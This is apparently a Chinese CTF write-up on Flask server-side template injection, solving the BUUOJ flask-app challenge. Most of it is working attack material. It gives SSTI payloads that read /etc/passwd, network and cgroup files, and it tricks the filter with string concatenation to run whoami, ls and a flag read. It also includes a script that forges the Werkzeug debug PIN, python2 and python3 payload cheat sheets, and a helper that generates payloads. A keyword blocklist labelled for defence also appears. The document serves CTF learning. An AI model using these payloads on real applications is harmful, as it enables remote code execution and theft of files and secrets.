再谈flask-ssti

进一步理解flask-ssti

ssti的目的:
1.读取文件(LFI,获取secret key 伪造session)
2.RCE

BUUOJ FLASK-APP 题目分析

先看看提示,提示了PIN

第一种做法:

参考链接https://xz.aliyun.com/t/2553
简单地说就是flask app 在debug模式下通过terminal显示的pin码可以在报错的时候进入python shell。并且运行应用程序时该pin码不会变。
接下来需要知道生成PIN码需要什么。
1.当前用户名
2.app.py的绝对路径
3.model name 一般是flask.app
4.app名称 一般是Flask
5.网卡十进制数(服务器的,读/sys/class/net/eth0/address)
6.machine-id(docker的话需要读取/proc/self/cgroup ,正常Linux读取/etc/machine-id)
那么接下来就需要获取这些。
首先是app.py的绝对路径,通过报错获得:

/usr/local/lib/python3.7/site-packages/flask/app.py
然后是当前用户名,有两种方法,我用的是第一种,通过ssti 读文件/etc/passwd 发现用户flaskweb,猜测就是这个用户
另一种准确的方法是执行系统命令:

1
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

这里需要绕过os popen过滤 方法是拼接字符串 用单引号。双引号会失败 不知道为什么
看到当前用户是flaskweb。
接下来读取网卡十进制与machine-id 由于buuoj是docker环境,所以需要从/proc/self/cgroup读。
网卡:

1
{{"".__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['op'+'en']("/sys/class/net/eth0/address").read()}}

02:42:ae:01:5e:21 转十进制不用说了。2485410422305
machine-id:

1
2
3
{{"".__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['op'+'en']("/proc/self/cgroup").read()}}

08220fc28119ede2eeaafa166f633321a5fe013f1a5bd26335d47e595376ccaf

生成PIN码的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485410422305',# str(uuid.getnode()), /sys/class/net/ens33/address
'08220fc28119ede2eeaafa166f633321a5fe013f1a5bd26335d47e595376ccaf'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

生成出来的PIN 在报错页面点击右面的terminal图标输入进去就好啦,接下来就是愉快的命令执行了~

finished.

第二种做法

既然知道了是SSTI,WHY NOT RCE DIRECTLY!!

1
2
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__['o'+'s']['pop'+'en']("ls /").read()}}
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__['o'+'s']['pop'+'en']("sort /this_is_the_fla\g.txt").read()}}

这里防止对cat有过滤 直接用的sort。已经知道的过滤是popen,import,flag。os不知道,懒得测试了 直接绕过

思考

这里我写了几种自己研究和网上学习到的payload

引用资源:
dict 保存类实例或对象实例的属性变量键值对字典
class 返回类型所属的对象
mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
bases 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals 对包含函数全局变量的字典的引用
我思考的:
__builtins__里面包括了一些直接拿来用的方法 比如说hex open等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
python3:

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} 这种不用找类

当然了 万能的实际用起来可能并不能。。因为一般会过滤 比如这道题的import 和 popen都过滤了,RCE的时候万金油不太行了!
python2:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
SSTI关键词(防护用)
[
]
(
\
)
{
}
_
__
.
g
''
""
request
g
namespace
__dict__
__class__
__mro__
__bases__
__subclasses__
__init__
__globals__
self
config
url_for
get_flashed_messages
lipsum
current_app
range
session
dict
get_flashed_messages
cycler
joiner
__builtins__
__import__
eval
keys
index
values
popen
read
_TemplateReference__context
environ
application
_get_data_for_json
JSONEncoder
default
system
flag
*
?
import
_IterationGuard
catch_warnings
_ModuleLock
flag
chr
subprocess
commands
socket
hex
base64

找模块脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
num=0
import numpy
choice=int(input("找os1 其他0"))
if choice==1:
for item in [].__class__.__mro__[1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print(num)
print(item)

num+=1
except:
print('-')
num+=1


else:
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['open']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(index,i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")